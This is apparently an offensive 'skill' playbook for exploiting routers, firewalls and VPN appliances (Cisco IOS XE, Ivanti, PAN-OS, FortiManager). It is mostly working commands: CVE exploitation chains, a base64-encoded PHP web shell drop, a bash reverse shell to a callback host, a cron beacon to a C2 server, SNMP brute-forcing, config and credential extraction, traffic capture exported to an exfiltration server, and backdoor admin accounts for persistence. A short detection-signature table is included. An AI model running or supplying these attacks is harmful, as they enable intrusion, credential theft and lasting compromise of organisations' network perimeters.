edge-device-exploitation

name	edge-device-exploitation
description	Edge device exploitation — routers, firewalls, VPN appliances (Cisco IOS XE, Fortinet, Ivanti, Palo Alto). Covers CVE exploitation chains, post-exploitation on network devices, config extraction, and implant deployment on perimeter infrastructure.
metadata	{"subdomain":"execution","when_to_use":"edge device router firewall vpn appliance cisco ios xe fortinet fortigate fortimanager ivanti pulse secure palo alto pan-os network device exploit cve-2023-20198 cve-2024-21887 cve-2024-3400 cve-2024-47575 snmp config extraction implant network perimeter","mitre_attack":"T1190, T1133, T1602","tags":"exploit edge-device network-appliance cve"}

Edge Device Exploitation

Exploits perimeter network appliances — routers, firewalls, VPN concentrators, and management platforms. These devices sit at trust boundaries, run stripped-down OS variants, and are rarely patched. A compromised edge device yields traffic interception, credential harvesting, lateral pivot into the internal network, and persistent access below endpoint detection.

Quick Reference

# Discover edge devices — Shodan
curl -s "https://api.shodan.io/shodan/host/search?key=<SHODAN_KEY>&query=org:<TARGET_ORG>+product:cisco" | jq '.matches[] | {ip:.ip_str, port:.port, product:.product}'

# Nmap service fingerprint on perimeter
nmap -sV -sC -p 443,8443,10443,4443,8080,161 --script=http-title,ssl-cert,snmp-info <TARGET_RANGE> -oA edge_scan

# SNMP community string brute
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt <TARGET>

# SNMP walk full config tree
snmpwalk -v2c -c <COMMUNITY> <TARGET> .1.3.6.1 > snmpwalk_full.txt

# Check Cisco IOS XE web UI (CVE-2023-20198 indicator)
curl -sk "https://<TARGET>/webui/logoutconfirm.html?logon_hash=1" -o cisco_webui_probe.txt

# Check PAN-OS GlobalProtect (CVE-2024-3400 indicator)
curl -sk "https://<TARGET>/global-protect/portal/css/login.css" -w '%{http_code}' -o /dev/null

# Ivanti Connect Secure version check
curl -sk "https://<TARGET>/dana-na/auth/url_default/welcome.cgi" -o ivanti_version.txt

MITRE ATT&CK Mapping

Technique	ID	Application
Exploit Public-Facing Application	T1190	CVE exploitation against web UI / VPN portal
External Remote Services	T1133	Abuse VPN/SSL-VPN/management interfaces post-compromise
Data from Configuration Repository	T1602	Extract running-config, startup-config, SNMP MIBs
Network Sniffing	T1040	Packet capture on compromised device
Modify System Image	T1601	Implant in device firmware/OS image

1. Identifying Edge Devices

External Reconnaissance

# Shodan bulk search by org
shodan search "org:<TARGET_ORG>" --fields ip_str,port,product,os --separator , > shodan_edge.csv

# Censys for Fortinet devices
curl -s "https://search.censys.io/api/v2/hosts/search" \
  -H "Authorization: Basic <CENSYS_KEY>" \
  -d '{"q":"services.software.product:FortiOS AND autonomous_system.name:<TARGET_ORG>","per_page":50}' | jq '.result.hits[]'

# Certificate transparency for management hostnames
curl -s "https://crt.sh/?q=%25.<TARGET_DOMAIN>&output=json" | jq -r '.[].name_value' | sort -u | grep -iE 'vpn|fw|gw|edge|palo|forti|pulse|asa'

Fingerprinting

# HTTP header fingerprinting
curl -skI "https://<TARGET>" | grep -iE 'server:|x-frame|set-cookie|location'

# SSL cert org/CN extraction
echo | openssl s_client -connect <TARGET>:443 2>/dev/null | openssl x509 -noout -subject -issuer

# Nmap NSE scripts for specific vendors
nmap -p 443 --script http-cisco-anyconnect,ssl-cert <TARGET>

2. CVE Exploitation Chains

CVE-2023-20198 — Cisco IOS XE Web UI Privilege Escalation (CVSS 10.0)

Unauthenticated attacker creates a privileged local account via the web UI.

# Step 1: Verify web UI is accessible
curl -sk "https://<TARGET>/webui" -w '%{http_code}\n' -o /dev/null

# Step 2: Create implant account (the exploit request)
curl -sk -X POST "https://<TARGET>/webui/logoutconfirm.html?logon_hash=1" \
  -H "Authorization: 0ff4fbf0ecffa77ce8d3852a4571" \
  -d '{"cisco-IOS-XE-native:username": {"name":"<IMPLANT_USER>","privilege":15,"password":{"type":"0","secret":"<IMPLANT_PASS>"}}}'

# Step 3: Access via SSH with implant account
sshpass -p '<IMPLANT_PASS>' ssh <IMPLANT_USER>@<TARGET> "show running-config"

# Step 4: Check for existing implant (IOC detection)
curl -sk "https://<TARGET>/webui/logoutconfirm.html?logon_hash=1" | grep -q "implant" && echo "IMPLANT DETECTED"

# Metasploit module
msfconsole -q -x "use exploit/linux/http/cisco_ios_xe_webui_privesc; set RHOSTS <TARGET>; set LHOST <CALLBACK>; run"

CVE-2024-21887 — Ivanti Connect Secure Command Injection (CVSS 9.1)

Chained with CVE-2023-46805 (auth bypass) for unauthenticated RCE.

# Step 1: Auth bypass (CVE-2023-46805) — path traversal
curl -sk "https://<TARGET>/api/v1/totp/user-backup-code/../../system/system-information" \
  -H "Content-Type: application/json" -o ivanti_sysinfo.json

# Step 2: Command injection via REST API
curl -sk "https://<TARGET>/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection" \
  -H "Content-Type: application/json" \
  -d '{"type":"1","txtGCPProject":"/api/v1/totp/user-backup-code/../../license/keys-status/$(id > /tmp/pwned.txt)"}'

# Step 3: Read output
curl -sk "https://<TARGET>/dana-cached/hc/HostCheckerInstaller.osx" --path-as-is

# Integrity Checker Tool (ICT) evasion — attackers modify ICT itself
# Post-exploit: drop web shell
curl -sk "https://<TARGET>/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection" \
  -d '{"type":"1","txtGCPProject":"/$(cp /home/webserver/htdocs/dana-na/auth/compcheckresult.cgi /tmp/bak && echo PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg== | base64 -d > /home/webserver/htdocs/dana-na/auth/compcheckresult.cgi)"}'

CVE-2024-3400 — Palo Alto PAN-OS GlobalProtect Command Injection (CVSS 10.0)

Unauthenticated OS command injection via GlobalProtect gateway.

# Step 1: Confirm GlobalProtect is exposed
curl -sk "https://<TARGET>/global-protect/login.esp" -w '%{http_code}' -o /dev/null

# Step 2: Exploit — inject via SESSID cookie
curl -sk "https://<TARGET>/ssl-vpn/hipreport.esp" \
  -H "Cookie: SESSID=../../../../opt/panlogs/tmp/device_telemetry/hour/aaa\`id>/var/appweb/sslvpndocs/global-protect/portal/cmd.txt\`" \
  -d "Content-Type=application/x-www-form-urlencoded"

# Step 3: Retrieve command output
curl -sk "https://<TARGET>/global-protect/portal/cmd.txt"

# Step 4: Reverse shell
PAYLOAD="bash -i >& /dev/tcp/<CALLBACK>/4444 0>&1"
ENCODED=$(echo -n "$PAYLOAD" | base64)
curl -sk "https://<TARGET>/ssl-vpn/hipreport.esp" \
  -H "Cookie: SESSID=../../../../opt/panlogs/tmp/device_telemetry/hour/aaa\`echo ${ENCODED}|base64 -d|bash\`"

CVE-2024-47575 — FortiManager Unauthenticated RCE (CVSS 9.8)

Missing authentication in FortiManager fgfmd daemon allows arbitrary code execution.

# Step 1: Confirm FortiManager FGFM service (port 541)
nmap -p 541 -sV <TARGET>

# Step 2: Exploit via FGFM protocol — register rogue FortiGate
# This requires crafting a FGFM registration request
python3 -c "
import socket, ssl
s = socket.socket()
s = ssl.wrap_socket(s)
s.connect(('<TARGET>', 541))
# Rogue FortiGate registration payload
payload = b'\\x00\\x01' + b'A'*256  # Simplified — real exploit crafts valid FGFM handshake
s.send(payload)
print(s.recv(4096))
"

# Step 3: Post-exploit — extract managed device configs
# FortiManager stores all managed FortiGate configs
find /var/lib/fortimanager/ -name "*.conf" -exec cp {} /tmp/exfil/ \;

# Step 4: Extract credentials from FortiManager DB
sqlite3 /var/lib/fortimanager/fortimanager.db "SELECT name,passwd FROM device" 2>/dev/null

3. Post-Exploitation on Network Devices

Config Extraction

# Cisco IOS — dump running config via SSH
sshpass -p '<PASSWORD>' ssh <USER>@<TARGET> "show running-config" > cisco_running.conf
sshpass -p '<PASSWORD>' ssh <USER>@<TARGET> "show startup-config" > cisco_startup.conf

# Extract credentials from Cisco config
grep -iE 'password|secret|key|community' cisco_running.conf

# SNMP full config pull (Cisco)
snmpset -v2c -c <RW_COMMUNITY> <TARGET> 1.3.6.1.4.1.9.9.96.1.1.1.1.2.111 i 1 \
  1.3.6.1.4.1.9.9.96.1.1.1.1.3.111 i 4 \
  1.3.6.1.4.1.9.9.96.1.1.1.1.4.111 i 1 \
  1.3.6.1.4.1.9.9.96.1.1.1.1.5.111 a <TFTP_SERVER> \
  1.3.6.1.4.1.9.9.96.1.1.1.1.6.111 s "config.txt" \
  1.3.6.1.4.1.9.9.96.1.1.1.1.14.111 i 1

# FortiGate — backup config via API
curl -sk "https://<TARGET>/api/v2/monitor/system/config/backup?scope=global" \
  -H "Authorization: Bearer <API_TOKEN>" -o fortigate_backup.conf

# Palo Alto — export config via API
curl -sk "https://<TARGET>/api/?type=export&category=configuration&key=<API_KEY>" -o panos_config.xml

Credential Harvesting

# Cisco Type 7 password decode
python3 -c "
import sys
xlat = [0x64,0x73,0x66,0x64,0x3b,0x6b,0x66,0x6f,0x41,0x2c,0x2e,0x69,0x79,0x65,0x77,0x72,0x6b,0x6c,0x64,0x4a,0x4b,0x44,0x48,0x53,0x55,0x42]
enc = sys.argv[1]
seed = int(enc[:2])
clear = ''.join(chr(int(enc[i:i+2],16) ^ xlat[(seed + (i-2)//2) % len(xlat)]) for i in range(2, len(enc), 2))
print(clear)
" '<TYPE7_HASH>'

# Extract VPN user databases
# Ivanti — /data/runtime/mtmp/system
cat /data/runtime/mtmp/system | strings | grep -iE 'user|pass|realm'

# PAN-OS — GlobalProtect user DB
grep -r "username\|password" /opt/pancfg/mgmt/saved-configs/

Traffic Interception

# Cisco — embedded packet capture
ssh <USER>@<TARGET> << 'CISCO'
monitor capture CAP interface GigabitEthernet0/0 both
monitor capture CAP match ipv4 any any
monitor capture CAP start
! wait, then:
monitor capture CAP stop
monitor capture CAP export tftp://<EXFIL_SERVER>/capture.pcap
CISCO

# PAN-OS — packet capture via CLI
ssh admin@<TARGET> "debug dataplane packet-diag set capture stage firewall file cap.pcap"
ssh admin@<TARGET> "debug dataplane packet-diag set capture on"

4. Implant Deployment

# Cisco IOS — persistent backdoor via EEM applet
ssh <USER>@<TARGET> << 'CISCO'
conf t
event manager applet BACKDOOR
 event timer watchdog time 3600
 action 1.0 cli command "enable"
 action 2.0 cli command "conf t"
 action 3.0 cli command "username backdoor privilege 15 secret 0 <IMPLANT_PASS>"
 action 4.0 cli command "end"
end
write memory
CISCO

# PAN-OS — cron-based persistence
ssh admin@<TARGET> "echo '*/30 * * * * curl -sk https://<C2>/beacon|bash' >> /etc/cron.d/pan_task"

# FortiGate — persistent admin via CLI
ssh admin@<TARGET> << 'FORTI'
config system admin
  edit "support_tech"
    set accprofile "super_admin"
    set password "<IMPLANT_PASS>"
  next
end
FORTI

Tools & Resources

Tool	Purpose
Shodan / Censys	Edge device discovery and fingerprinting
Nmap + NSE	Port scanning and service identification
Metasploit	CVE exploit modules for Cisco, Palo Alto, Fortinet
onesixtyone	SNMP community string bruteforce
snmpwalk / snmpset	SNMP enumeration and config extraction
Nuclei	Bulk CVE scanning templates for edge devices
sshpass	Scripted SSH access for post-exploitation

Detection Signatures

Indicator	Detection Method
Unexpected admin accounts on appliances	Periodic config diff / SIEM baseline
CVE-2023-20198 IOC: /webui/logoutconfirm.html access	Web proxy / IDS signature
CVE-2024-3400 IOC: SESSID with path traversal	WAF rule on cookie content
SNMP community string bruteforce	IDS alert on SNMP GetRequest bursts
FGFM rogue device registration	FortiManager event log for unknown serial
EEM applet creation	Cisco syslog for %HA_EM-6-LOG events
Unusual TFTP/SCP from network devices	NetFlow analysis for device-to-external transfers

Error Handling & Edge Cases

• Web UI disabled: Fall back to SNMP or SSH-based exploitation; many CVEs target web management specifically
• Device behind NAT: Use Shodan historical data; pivot through VPN tunnel if partial access exists
• SNMP v3 only: Requires credentials; attempt default authPriv credentials before brute-force
• Patched device: Check for incomplete patches; Ivanti ICT bypass was common post-patch
• HA cluster: Exploit may need to target both primary and standby nodes
• Firmware integrity checks: Some vendors verify image signatures; implant deployment may require modifying the verification routine

Decision Gate

IF edge device discovered with web UI exposed:
  → Check CVE applicability by version fingerprint
  → Attempt highest-CVSS CVE first (typically auth bypass + RCE chain)
  → On success: extract config, harvest creds, assess implant viability
  → Pivot to internal network via device's trusted interfaces

IF only SNMP accessible:
  → Attempt community string brute → config extraction → credential harvest
  → Use extracted creds for SSH/console access

IF fully patched:
  → Attempt default/weak credentials on management interfaces
  → Check for misconfigured ACLs allowing management access from untrusted zones
  → Document as hardened perimeter; pivot to other attack surface